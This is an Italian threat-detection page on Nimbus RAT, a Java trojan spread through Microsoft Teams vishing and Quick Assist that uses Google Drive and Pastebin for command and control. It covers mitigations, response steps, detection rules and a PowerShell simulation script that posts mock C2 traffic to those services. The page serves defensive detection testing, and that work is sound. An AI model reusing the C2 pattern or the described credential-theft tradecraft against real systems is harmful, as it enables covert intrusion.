Nimbus RAT Distribuito Tramite Microsoft Teams e Google Drive
Detection stack
- AIDR
- Alert
- ETL
- Query
Riassunto
Gli attori delle minacce hanno utilizzato il phishing vocale di Microsoft Teams insieme a Quick Assist per distribuire un trojan di accesso remoto basato su Java noto come Nimbus RAT. Il malware si affida a Google Drive e Google Sheets come suoi canali di command-and-control e include il proprio runtime OpenJDK integrato. Per il furto di credenziali, utilizza un falso prompt di sicurezza di Windows o l’API CredUI nativa per catturare i segreti dell’utente.
Indagine
Il Threat Response Unit di eSentire ha ricostruito l’intera catena di intrusione utilizzando i log del flusso di posta, la telemetria degli endpoint e l’analisi statica del malware Java. La campagna ha combinato il bombardamento di email, una chiamata di vishing basata su Teams, supporto remoto Quick Assist, un foglio d’istruzioni hostato su Pastebin e un tenant SharePoint compromesso usato per distribuire il payload.
Mitigazione
Le difese consigliate includono il disabilitare la messaggistica esterna di Teams proveniente da tenant sconosciuti, bloccare Quick Assist dove non è richiesto, allertare su picchi di attività di bombardamento di email, monitorare javaw.exe esecuzione da posizioni inusuali e rilevare chiamate API di Google Drive sospette iniziate da processi inattesi.
Risposta
Se viene rilevata un’attività di Nimbus RAT, isolare il sistema interessato, terminare tutti i javaw.exe processi correlati, rimuovere la C:ProgramDataInboxCorePro directory e qualsiasi scorciatoia di avvio associata, e considerare un’immagine completa del sistema. Rivedere anche i log di audit di Google Workspace per identificare eventuali concessioni non autorizzate delle applicazioni di Google Drive.
Flusso di Attacco
Rilevamenti
Esecuzione di App Java da Posizione Sospetta (via process_creation)
Visualizza
Binari / Script Sospetti in Posizione di Avvio Automatico (via file_event)
Visualizza
Possibile Dominio GoogleApis Risolto da Processo Conosciuto Abusato (via dns_query)
Visualizza
Attività Possibile dell’Utility di Comando e Controllo di Google (via proxy)
Visualizza
IOCs (HashSha256) per rilevare: Nimbus RAT: Come gli attori delle minacce stanno abusando di Microsoft Teams e Google Drive per distribuire un RAT Java
Visualizza
Rilevamento dell’Uso Sospetto delle API di Google e Pastebin [Proxy]
Visualizza
Rilevamento dell’Esecuzione di Nimbus RAT tramite javaw.exe e Comandi di Ricognizione [Creazione Processo Windows]
Visualizza
Esecuzione di Quick Assist e regedit.exe in Attacco di Vishing [Log di Sicurezza Evento Microsoft Windows]
Visualizza
Esecuzione Simulazione
Prerequisito: Il Controllo Preparatorio di Telemetria & Baseline deve essere stato superato.
Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica avversaria (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente le TTP identificate e mirare a generare esattamente la telemetria prevista dalla logica di rilevamento.
-
Narrazione e Comandi dell’Attacco:
L’attore delle minacce ha già compromesso l’endpoint con il binario di Nimbus RAT. Per stabilire un canale C2 nascosto, il RAT emette due richieste in uscita HTTP POST:- Chiamata API di Google Drive – carica un piccolo payload JSON su
https://www.googleapis.com/drive/v3/files?uploadType=media, imitando il comportamento di “download-payload” del RAT. - Pastebin Paste – invia una stringa di comando codificata base-64 a
https://pastebin.com/api/api_post.phputilizzando la chiave API pubblica.
Entrambe le richieste sono eseguite tramite
Invoke-WebRequestdi PowerShell per assicurare che i log del firewall contengano il campodominio(googleapis.comandpastebin.com). L’attaccante esegue i comandi nel contesto dell’utente compromesso per confondere con l’attività normale. - Chiamata API di Google Drive – carica un piccolo payload JSON su
-
Script di Test di Regressione:
# -------------------------------------------------------------- # Simulazione C2 di Nimbus RAT – attiva la regola Sigma su corrispondenza del dominio # -------------------------------------------------------------- # 1. Caricamento fittizio API di Google Drive (nessuna autenticazione – concentrato sulla telemetria del dominio) $googlePayload = @{ name = "dummy.txt"; mimeType = "text/plain" } | ConvertTo-Json $googleUri = "https://www.googleapis.com/drive/v3/files?uploadType=media" try { Invoke-WebRequest -Uri $googleUri -Method POST -Body $googlePayload ` -ContentType "application/json" -UseBasicParsing -ErrorAction Stop Write-Host "[+] Caricato mock su Google Drive API" } catch { Write-Warning "Richiesta a Google Drive fallita (atteso in sandbox): $_" } # 2. Post pubblico API Pastebin (richiede una chiave sviluppatore – usando un segnaposto) $pastebinKey = "YOUR_PUBLIC_API_KEY" # <-- sostituire con una chiave valida per test reale $pastebinText = "echo 'Comando simulato da C2'" $pastebinUri = "https://pastebin.com/api/api_post.php" $pastebinBody = @{ api_dev_key = $pastebinKey api_option = "paste" api_paste_code = $pastebinText api_paste_private = "1" } try { Invoke-WebRequest -Uri $pastebinUri -Method POST -Body $pastebinBody ` -ContentType "application/x-www-form-urlencoded" -UseBasicParsing -ErrorAction Stop Write-Host "[+] Postato comando mock a Pastebin" } catch { Write-Warning "Richiesta a Pastebin fallita (atteso in sandbox): $_" } # -------------------------------------------------------------- # Fine simulazione # -------------------------------------------------------------- -
Comandi di Pulizia:
# Rimuovere eventuali file temporanei o variabili utilizzati durante la simulazione Remove-Variable -Name googlePayload, googleUri, pastebinKey, pastebinText, pastebinUri, pastebinBody -ErrorAction SilentlyContinue Write-Host "[*] Pulizia completata."